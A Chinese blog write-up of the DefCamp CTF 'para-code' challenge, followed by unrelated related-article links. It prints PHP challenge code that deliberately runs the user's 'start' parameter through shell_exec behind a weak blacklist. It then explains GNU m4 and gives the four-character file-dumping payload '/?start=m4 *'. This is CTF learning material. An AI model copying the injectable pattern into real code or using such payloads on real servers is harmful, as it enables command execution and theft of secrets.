[DefCamp CTF]para-code

2023-10-13 03:20
文章标签 code ctf defcamp para

本文主要是介绍[DefCamp CTF]para-code,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1NDEX

  • 0x00 前言
  • 0x01 brain.md
      • 知识扩展
        • linux m4
          • 宏处理器
          • 直观地实操一下

0x00 前言

本来想今天写的,结果比赛环境关了
幸好手里还有源码

<?php
require __DIR__ . '/flag.php';
if (!isset($_GET['start'])){show_source(__FILE__);exit;
} $blackList = array('ss','sc','aa','od','pr','pw','pf','ps','pa','pd','pp','po','pc','pz','pq','pt','pu','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','ls','dd','nl','nk','df','wc', 'du'
);$valid = true;
foreach($blackList as $blackItem)
{if(strpos($_GET['start'], $blackItem) !== false){$valid = false;break;}
}if(!$valid)
{show_source(__FILE__);exit;
}// This will return output only for id and ps. 
if (strlen($_GET['start']) < 5){echo shell_exec($_GET['start']);
} else {echo "Please enter a valid command";
}if (False) {echo $flag;
}?>

原环境中无写权限
若有写权限可参考

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总

0x01 brain.md

可知flag.php在同目录下
只给四字符长度rce
最后一个echo $flag条件判定永远为false
只能通过得到flag

shell_exec($_GET['start']);

知识扩展

linux m4

GNU M4 是传统 Unix 宏处理器的实现
那么什么又是宏处理器呢

宏处理器

参考宏处理器与预处理器的区别
许多汇编语言支持“宏”功能,在此宏语句在被翻译成机器程序之前将被翻译成一系列汇编语言语句和可能的其他宏语句。因此,宏工具是一种文本替换能力。

它可以说明宏的效用,考虑这样一种情况,其中一台机器没有单个机器或汇编语言语句将一个内存地址的内容添加到另一个内存地址作为假设的汇编指令 ADD X, Y。相反,假设机器有一条指令 LOAD,将数据从内存移动到寄存器,一条指令 ADD,将内存地址的内容添加到寄存器的内容,以及一条指令 STORE,将数据从寄存器移动到内存。

通过使用这些指令,它可以使用宏定义创建“双地址添加”指令,如下所示 -

MACRO
ADD2    X, YLOAD    YADD     XSTORE   Y
ENDMACRO

第一条语句将宏命名为 ADD2 并定义其伪参数,即形式参数 X 和 Y。

接下来的三个语句定义了宏,即它们给出了它的翻译。可以假设机器只有一个寄存器,所以没有问题 LOAD 和 STORE 指的是什么寄存器。它可以将 ADD2 用作普通的汇编语言操作代码。

用作文本替换工具
实例演示

https://blog.csdn.net/vc66vcc/article/details/77961964

直观地实操一下

在这里插入图片描述
在这里插入图片描述
一般的靶机中都不会安装该指令
所以只做基础示范
增加一下读取文件的姿势
so payload

/?start=m4 *

这篇关于[DefCamp CTF]para-code的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/200415

相关文章

Debugging Lua Project created in Cocos Code IDE creates “Waiting for debugger to connect” in Win-7

转自 I Installed Cocos Code IDE and created a new Lua Project. When Debugging the Project(F11) the game window pops up and gives me the message waiting for debugger to connect and then freezes. Also a

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

LLVM入门2:如何基于自己的代码生成IR-LLVM IR code generation实例介绍

概述 本节将通过一个简单的例子来介绍如何生成llvm IR,以Kaleidoscope IR中的例子为例,我们基于LLVM接口构建一个简单的编译器,实现简单的语句解析并转化为LLVM IR,生成对应的LLVM IR部分,代码如下,文件名为toy.cpp,先给出代码,后面会详细介绍每一步分代码: #include "llvm/ADT/APFloat.h"#include "llvm/ADT/S

VS Code 调试go程序的相关配置说明

用 VS code 调试Go程序需要在.vscode/launch.json文件中增加如下配置:  // launch.json{// Use IntelliSense to learn about possible attributes.// Hover to view descriptions of existing attributes.// For more information,

code: 400, msg: Required request body is missing 错误解决

引起这个错误的原因是,请求参数按照get方式给。 应该给json字符串才对 补充: 1. @RequestBody String resource 加@RequestBody必须给json字符串,否则会报错400,记如标题错误。 不加这个的进行请求的话,其实post和get就没有什么区别了。 2. List<String> indexCodes=(List<String>)json.

iOS项目发布提交出现invalid code signing entitlements错误。

1、进入开发者账号,选择App IDs,找到自己项目对应的AppId,点击进去编辑, 2、看下错误提示出现  --Specifically, value "CVYZ6723728.*" for key "com.apple.developer.ubiquity-container-identifiers" in XX is not supported.-- 这样的错误提示 将ubiquity

解决服务器VS Code中Jupyter突然崩溃的问题

问题 本来在服务器Anaconda的Python环境里装其他的包,装完了想在Jupyter里写代码验证一下有没有装好,一运行发现Jupyter崩溃了!?报错如下所示 Failed to start the Kernel. ImportError: /home/hujh/anaconda3/envs/mia/lib/python3.12/lib-dynload/_sqlite3.cpython-

Behind the Code:与 Rakic 和 Todorovic 对话 OriginTrail 如何实现 AI 去中心化

原文:https://www.youtube.com/watch?v=ZMuLyLCtE3s&list=PLtyd7v_I7PGnko80O0LCwQQsvhwAMu9cv&index=12 作者:The Kusamarian 编译:OneBlock+ 随着人工智能技术的飞速发展,一系列前所未有的挑战随之而来:模型的衰退与互联网的潜在威胁愈发明显。AI 的增长曲线可能因训练过程中的瓶颈而趋于平

冒泡排序和鸡尾酒排序(code)

昨天回顾了下冒泡排序和鸡尾酒排序,用面向对象的方式写了一下,并且优化了代码,记录一下~ 一、冒泡排序 # 冒泡排序class BubbleSort(object):def __init__(self, data_list):self.data_list = data_listself.length = len(data_list)# 简单粗暴的排序方式def b_sort(self):d

编译时出现错误 -- clang: error: linker command failed with exit code 1 (use -v to see invocation)

出现这个错误的原因有多种,常见的是因为某些文件的缺失或者是文件的重复导致的。 这类错误查看的关键在于其上一行的文字。 对于文件缺少而导致错误的情况: 例如上图中的示例,其上一行文字为 ld:library not found for -lrxl,可以看出是缺失了某一文件而导致的错误,这行文字中的最后“ -lrxl ”:-l 代表着其前缀是“lib”,连着后面的 rxl,其名称为 libr